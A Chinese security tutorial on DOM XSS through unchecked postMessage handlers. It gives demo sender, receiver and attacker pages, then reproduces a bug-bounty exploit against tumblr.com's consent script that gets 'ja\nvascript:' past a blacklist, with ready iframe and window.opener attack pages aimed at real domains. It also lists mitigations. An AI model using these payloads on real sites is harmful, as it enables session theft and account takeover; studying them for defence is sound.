【网络安全】PostMessage:分析JS实现XSS

未经许可,不得转载。

文章目录

    • 前言
    • 示例
    • 正文

前言

PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口(例如,来自同一域名下的不同页面或者不同域名下的跨域页面)进行通信,而无需通过服务器。通常情况下,它用于实现跨文档消息传递(Cross-Document Messaging),这在一些复杂的网页应用和浏览器插件中非常有用。

示例

在深入学习本文前,通过父子窗口间的消息传递示例代码+浏览器回显带领读者了解必要的知识。

1、send.html通过 postMessage 函数向receive.html发送消息:

<!--send.html-->
<!DOCTYPE html>
<html>
<head>
    <title>发送界面</title>
    <meta charset="utf-8" />
    <script>
        function openChild() {
            child = window.open('receive.html', 'popup', 'height=300px, width=300px');
        }
        
        function sendMessage() {
            //发送的数据内容
            let msg = { content: "玲珑安全漏洞挖掘培训vx: bc52013" };
            //发送消息到任意目标源
            child.postMessage(msg, '*');
        }
    </script>
</head>
<body>
    <input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
    <input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

在这里插入图片描述

2、receive.html通过监听 message 事件来输出收到的消息:

<!--receive.html-->
<!DOCTYPE html>
<html>
<head>
    <title>接收界面</title>
    <meta charset="utf-8" />
    <script>
        //添加事件监控消息
        window.addEventListener("message", (event) => {
            let txt = document.getElementById("msg");
            //接收传输过来的变量数据
            txt.value = `接收到的消息为:${event.data.content}`;
        });
    </script>
</head>
<body>
    <h1>接收界面(子窗口)</h1>
    <input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>

在这里插入图片描述

3、在send.html点击打开子窗口后弹出子窗口:

在这里插入图片描述

4、点击发送消息后,接收界面收到并且打印消息内容**“玲珑安全漏洞挖掘培训vx: bc52013”**

在这里插入图片描述

如上,通过PostMessage实现了父子窗口间的消息传递。

然而,若代码书写不规范将导致安全问题。

1、数据伪造

由于receive.html没有设置信任源,因此任意页面都可向该页面发送数据,导致数据伪造。

<!--数据伪造.html-->
<!DOCTYPE html>
<html>
<head>
    <title>数据伪造界面</title>
    <meta charset="utf-8" />
    <script>
        function openChild() {
            child = window.open('receive.html', 'popup', 'height=300px, width=300px');
        }
        
        function sendMessage() {
            //发送的数据内容
            let msg = { content: "ICE" };
            //发送消息到任意目标源
            child.postMessage(msg, '*');
        }
    </script>
</head>
<body>
    <input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
    <input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

如图,接收方本应接收到的消息为:

在这里插入图片描述

而在数据伪造界面打开子窗口并发送消息后,接收界面接收到伪造数据:

在这里插入图片描述

2、XSS

当发送参数可控且接收方处理不当时,将导致DOM XSS

例如,受害方接收一个可控的URL参数:

<!--受害方.html-->
<!DOCTYPE html>
<html>
<head>
    <title>受害方界面</title>
    <meta charset="utf-8" />
    <script>
        //添加事件监控消息
        window.addEventListener("message", (event) => {
            location.href=`${event.data.url}`;
        });
    </script>
</head>
<body>
    <h1>受害方界面(子窗口)</h1>
</body>
</html>

于是可以构造恶意请求,实现XSS:

<!--攻击方实现XSS.html-->
<!DOCTYPE html>
<html>
<head>
    <title>攻击方实现XSS界面</title>
    <meta charset="utf-8" />
    <script>
        function openChild() {
            child = window.open('受害方.html', 'popup', 'height=300px, width=300px');
        }
        
        function sendMessage() {
            //发送的数据内容
            let msg = { url:"javascript:alert('玲珑安全漏洞挖掘培训')" };
            //发送消息到任意目标源
            child.postMessage(msg, '*');
        }
    </script>
</head>
<body>
    <input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
    <input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

在攻击方界面打开子窗口:

在这里插入图片描述

点击发送消息后,受害方执行JS代码:

在这里插入图片描述

在这里插入图片描述

同时,当页面中不包含X-Frame-Options标头时,还可利用 <iframe>标签嵌套受害方页面并传递可控参数,以执行JS代码:

<!-- 攻击方: hacker.html -->
<!DOCTYPE html>
<html>
<head>
    <title>XSS-iframe</title>
</head>

<body>
    <iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body>

<script type="text/javascript">
    var iframe = window.frames.attack;
    function xss() {
        let msg = {url: "javascript:alert(document.domain)"};
        iframe.postMessage(msg, '*');
    }
</script>
</html>

在这里插入图片描述

攻击效果如图:

在这里插入图片描述

漏洞危害如下:

(i)窃取用户敏感数据(个人数据、消息等)

(ii)窃取 CSRF 令牌并以用户的名义执行恶意操作

(iii)窃取账户凭证并接管用户账户

修复缓解方案

1、发送方应验证目标源,确保消息只能被预期的接收方处理:

在这里插入图片描述

接收方应使用指定的信任域:

在这里插入图片描述

此时,点击发送消息后,受害方界面不再执行弹窗,因为攻击方指定的目标源是https协议,而受害方仅指定http://127.0.0.1为信任源:

在这里插入图片描述

当攻击方页面指定127.0.0.1的http协议时,由于攻击方页面与受害者页面均在该服务器上,因此能够实现XSS:

在这里插入图片描述

在这里插入图片描述

正文

进入tumblr.com,在cmpStub.min.js文件中存在如下函数,其不检查 postMessage 的来源:

!function() {
            var e = !1;
            function t(e) {
                var t = "string" == typeof e.data
                  , n = e.data;
                if (t)
                    try {
                        n = JSON.parse(e.data)
                    } catch (e) {}
                if (n && n.__cmpCall) {
                    var r = n.__cmpCall;
                    window.__cmp(r.command, r.parameter, function(n, o) {
                        var a = {
                            __cmpReturn: {
                                returnValue: n,
                                success: o,
                                callId: r.callId
                            }
                        };
                        e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
                        //不检查来源,为后续测试提供可能性
                    })
                }
            }

主要含义:接收并解析 JSON 数据 (e.data),将其转换为 JavaScript 对象 (n);执行 __cmpCall 中指定的命令和参数,并将执行结果封装成返回对象 a;最后通过 postMessage 方法将处理结果发送回消息来源。

跟进__cmp() 函数,看看应用程序对数据进行了何种处理:

     if (e)
                return {
                    init: function(e) {
                        if (!l.a.isInitialized())
                            if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
                            p.uiUrl || p.organizationId)
                                if (c.a.isSafeUrl(p.uiUrl)) {
                                    p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
                                    g.setGdpr("S"),
                                    g.setPublisherId(p.organizationId)),
                                    (t = p.sharedConsentDomain) && r.a.init(t),
                                    s.a.setCookieDomain(p.cookieDomain);
                                    var n = s.a.getGdprApplies();
                                    !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
                                    h(function(e) {
                                        e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                    }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
                                        n || (e = !0),
                                        s.a.setIsUserInEU(e),
                                        e ? (g.setGdpr("L"),
                                        h(function(e) {
                                            e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                        }, !0)) : l.a.initializationComplete()
                                    })
                                } else
                                    c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

可以看出,c.a.isSafeUrl(p.uiUrl))为真才将继续执行。

跟进isSafeUrl函数:

isSafeUrl: function(e) {
           return -1 === (e = (e || "").replace(" ",
           "")).toLowerCase().indexOf("javascript:")
    },

若p.uiUrl(即e)中存在javascript,则返回假。

所以这里是为了防止JS代码执行,而通常使用黑名单的防护方式是容易被绕过的。

那么传入的p.uiUrl参数后续会经过什么处理呢?

在上面的代码中,还存在该行代码:

e ? l.a.initializationComplete() : b(l.a.initializationComplete)

跟进b()函数:

b = function(e) {
            g.markConsentRenderStartTime();
            var n = p.uiUrl ? i.a : a.a;
            l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
                p.consentString = t,
                n.renderConsents(p, function(n, t) {
                    g.setType("C").setGdprConsent(n).fire(),
                    w(n),
                    "function" == typeof e && e(n, t)
                })
            }) : n.renderConsents(p, function(n, t) {
                g.setType("C").setGdprConsent(n).fire(),
                w(n),
                "function" == typeof e && e(n, t)
            })

再跟进关键的renderConsents() 函数:

         renderConsents: function(n, p) {
                if ((t = n || {}).siteDomain = window.location.origin,
                r = t.uiUrl) {
                    if (p && u.push(p),
                    !document.getElementById("cmp-container-id")) {
                        (i = document.createElement("div")).id = "cmp-container-id",
                        i.style.position = "fixed",
                        i.style.background = "rgba(0,0,0,.5)",
                        i.style.top = 0,
                        i.style.right = 0,
                        i.style.bottom = 0,
                        i.style.left = 0,
                        i.style.zIndex = 1e4,
                        document.body.appendChild(i),
                        (a = document.createElement("iframe")).style.position = "fixed",
                        a.src = r,
                        a.id = "cmp-ui-iframe",
                        a.width = 0,
                        a.height = 0,
                        a.style.display = "block",
                        a.style.border = 0,
                        i.style.zIndex = 10001,
                        l(),

可以看到该函数将创建iframe元素,而该元素的src属性就是我们可控的p.uiUrl。

综上所述,整体流程如下:

传入的数据进入cmp()函数处理 -> 处理时执行issafeurl函数判断数据是否合法 -> 若合法,则执行renderConsents()函数,构造iframe

知悉参数从传递到处理的流程后,就可以构造Payload了。

现在的目的是绕过isSafeUrl函数,而恰好,JavaScript 在处理字符串时,会忽略掉换行符、制表符等空白字符(无害脏数据):

在这里插入图片描述

因此,依据__cmp() 函数,以JSON形式构造Payload如下:

{
    "__cmpCall": {
        "command": "init",
        "parameter": {
            "uiUrl": "ja\nvascript:alert(document.domain)",
            "uiCustomParams": "ice",
            "organizationId": "ice",
            "gdprAppliesGlobally": "ice"
        }
    }
}

使用iframe嵌套受攻击页面:

<html>
    <body>
        <script>
            window.setInterval(function(e) {
                try {
                    window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");
                } catch(e) {}
            }, 100);
        </script>
        <iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
    </body>
</html>

成功实现XSS:

img

以上是页面中不包含X-Frame-Options标头的情况,导致我们能嵌套受攻击页面。

若页面中包含X-Frame-Options 标头,则我们不能嵌套受攻击页面。这种情况下,可通过 window.opener 实现两个浏览器选项卡之间的连接,再发送 postMessage 消息,实现XSS。

在tumblr.com页面存在X-Frame-Options标头,但也含有cmpStub.min.js文件的情况下,攻击代码如下所示:

<html>
<body>
<script>
function e() {
    window.setTimeout(function() {
        window.location.href = "https://www.tumblr.com/embed/post/";
    }, 500);
}
window.setInterval(function(e) {
    try {
        window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");
    } catch(e) {}
}, 100);
</script>

<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>

成功实现XSS:

img

参考链接:

https://www.cnblogs.com/piaomiaohongchen/p/18305112

https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/803191.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

中转程序理解

P1S SRV ParserCfgFile解析配置文件&#xff08;由ATS.XML---->ATS.BIN&#xff09; CCHandler 循环调用接口&#xff0c;继承于CycleSchInterface 继承于DcsHandler800&#xff0c;收发DCS报文 继承于MsgProcessor&#xff0c;好像 收发同步消息有关 继承于DcsLogMana…

微软的vscode和vs2022快捷键官网链接

vscode官方文档:https://code.visualstudio.com/docs/ vscode快捷键官方文档:https://code.visualstudio.com/docs/getstarted/keybindings vs2022官方文档:https://learn.microsoft.com/zh-cn/visualstudio/ide/?viewvs-2022 vscode快捷键官方文档:https://learn.microsoft.c…

论文学习——基于自适应选择的动态多目标进化优化有效响应策略

论文题目&#xff1a;Effective response strategies based on adaptive selection for dynamic multi-objective evolutionary optimization 基于自适应选择的动态多目标进化优化有效响应策略&#xff08;Xiaoli Li a,b,c, Anran Cao a,∗, Kang Wang a&#xff09;Applied S…

MongoDB常用命令大全,概述、备份恢复

文章目录 一、MongoDB简介二、服务启动停止、连接三、数据库相关四、集合操作五、文档操作六、数据备份与恢复/导入导出数据6.1 mongodump备份数据库6.2 mongorestore还原数据库6.3 mongoexport导出表 或 表中部分字段6.4 mongoimport导入表 或 表中部分字段 七、其他常用命令八…

HarmonyOS 开发者联盟高级认证最新题库

本篇文章包含 Next 版本更新后高级认证题库中95%的题目。 答案正确率 50-60%&#xff0c;答案仅做参考。 请在考试前重点看一遍题目&#xff0c;勿要盲目抄答案。 欢迎在评论留言正确答案和未整理的题目。 1、下面关于方舟字节码格式PREF_IMM16_v8_v8描述正确的是 16位前缀操作…

STM32 BootLoader 刷新项目 (三) 程序框架搭建及刷新演示

STM32 Customer BootLoader 刷新项目 (三) 程序框架搭建 文章目录 STM32 Customer BootLoader 刷新项目 (三) 程序框架搭建典型工作流程 1. 硬件原理图介绍1.1 USART硬件介绍1.2 LED和按键介绍 2. STM32 CubeMX工程搭建2.1 创建工程2.2 系统配置2.3 USART串口配置2.4 配置按键G…

汇总国内镜像提供了Redis的下载地址

文章目录 1. 清华大学开源软件镜像站&#xff1a;2. 中国科技大学开源软件镜像&#xff1a;3. 阿里云镜像&#xff1a;4. 华为云镜像&#xff1a;5. 腾讯云镜像&#xff1a;6. 网易开源镜像站7. 官方GitHub仓库&#xff08;虽然不是镜像&#xff0c;但也是一个可靠的下载源&…

java学习笔记(浓缩版)

一.数据类型 整型&#xff08;4个&#xff09;&#xff1a; byte&#xff08;字节型&#xff09;、short&#xff08;短整型&#xff09;、int&#xff08;整型&#xff09;、long&#xff08;长整型&#xff09; 浮点型&#xff08;2个&#xff09;&#xff1a;float&#x…

彻底改变时尚:使用 GAN 实现 AI 的未来

彻底改变时尚&#xff1a;使用 GAN 实现 AI 的未来 一、介绍 想象一下&#xff0c;在这个世界里&#xff0c;时装设计师永远不会用完新想法&#xff0c;我们穿的每一件衣服都是一件艺术品。听起来很有趣&#xff0c;对吧&#xff1f;好吧&#xff0c;我们可以在通用对抗网络 &a…

Postman安装使用教程(详解)

目录 一、Postman是什么 二、安装系统要求 三、下载Postman 四、注册和登录Postman 五、创建工作空间 六、创建请求 一、Postman是什么 在安装之前&#xff0c;让我们先来简单了解一下Postman。Postman是一个流行的API开发工具&#xff0c;它提供了友好的用户界面用于发送…

Python 实现股票指标计算——WR

WR - 威廉指标 1 公式 威廉指标的计算公式为&#xff1a; 其中&#xff1a; &#x1d43b;&#x1d45b;​ 是过去n日内的最高价。 &#x1d43f;&#x1d45b;​ 是过去n日内的最低价。 &#x1d436; 是当前收盘价。 2 数据准备 我们以科创50指数 000688 为例&#xff0c…

如何打造一个专属网盘?可道云teamOS这些个性化设置了解一下

在这个数字化时代&#xff0c;企业对于云端存储和协作工具的需求日益增长。而网盘作为企业协作的重要工具之一&#xff0c;其个性化、定制化的需求也日益凸显。 今天&#xff0c;我要为大家介绍的是一款高度个性化的企业网盘——可道云teamOS。 满足个性化需求的企业网盘 可…

连锁直营店小程序赋能多店如何管理

如商超便利店卖货线下场景&#xff0c;也有不少品牌以同城多店和多地开店经营为主&#xff0c;获取店铺周围客户和散流&#xff0c;如今线上重要性凸显&#xff0c;品牌电商发展是经营的重要方式之一&#xff0c;也是完善同城和外地客户随时便捷消费的方式之一。 多个门店管理…

ESP8266模块简单连接以及作为作为Station连接“服务器”的问题(ERROR CLOSED)

ESP8266简介 AT指令集是从终端设备&#xff08;Terminal Equipment&#xff0c;TE)或数据终端设备&#xff08;Data Terminal Equipment&#xff0c;DTE)向终端适配器(Terminal Adapter&#xff0c;TA)或数据电路终端设备(Data CircuitTerminal Equipment&#xff0c;DCE)发送…

[米联客-安路飞龙DR1-FPSOC] FPGA基础篇连载-17 I2C通信协议原理

软件版本&#xff1a;Anlogic -TD5.9.1-DR1_ES1.1 操作系统&#xff1a;WIN10 64bit 硬件平台&#xff1a;适用安路(Anlogic)FPGA 实验平台&#xff1a;米联客-MLK-L1-CZ06-DR1M90G开发板 板卡获取平台&#xff1a;https://milianke.tmall.com/ 登录“米联客”FPGA社区 ht…

GB35114国密算法-GMSSL

C有个三方库-GMSSL是可以进行GB35114所需要的SM2、SM3、SM4等加解密算法的&#xff0c;但是使用国密算法是需要申请报备的 GmSSL是由北京大学自主开发的国产商用密码开源库&#xff0c;实现了对国密算法、标准和安全通信协议的全面功能覆盖&#xff0c;支持包括移动端在内的主流…

gemini-pro-vision 看图说话

一、安装 pip install -U langchain-google-vertexai 二、设置访问权限 申请服务账号json格式key 三、完整代码 import gradio as gr import json import base64 from pathlib import Path import os import time import requests from fastapi import FastAPI, UploadFile,…

北京青蓝智慧科技:如何查询“工信部教育考试中心”颁发的证书

查验专业技术人员职业资格证书的途径共有四种&#xff1a; 首先&#xff0c;可以通过登录中国人事考试网的全国专业技术人员职业资格证书查询验证系统进行查验。 其次&#xff0c;利用手机微信公众号扫描证书上的二维码也能实现信息验证。 第三&#xff0c;登陆全国人社政务服…

打包一个自己的Vivado IP核

写在前面 模块复用是逻辑设计人员必须掌握的一个基本功&#xff0c;通过将成熟模块打包成IP核&#xff0c;可实现重复利用&#xff0c;避免重复造轮子&#xff0c;大幅提高我们的开发效率。 接下来将之前设计的串口接收模块和串口发送模块打包成IP核&#xff0c;再分别调用…

3.5、matlab打开显示保存点云文件(.ply/.pcd)以及经典点云模型数据

1、点云数据简介 点云数据是三维空间中由大量二维点坐标组成的数据集合。每个点代表空间中的一个坐标点&#xff0c;可以包含有关该点的颜色、法向量、强度值等额外信息。点云数据可以通过激光扫描、结构光扫描、摄像机捕捉等方式获取&#xff0c;广泛应用于计算机视觉、机器人…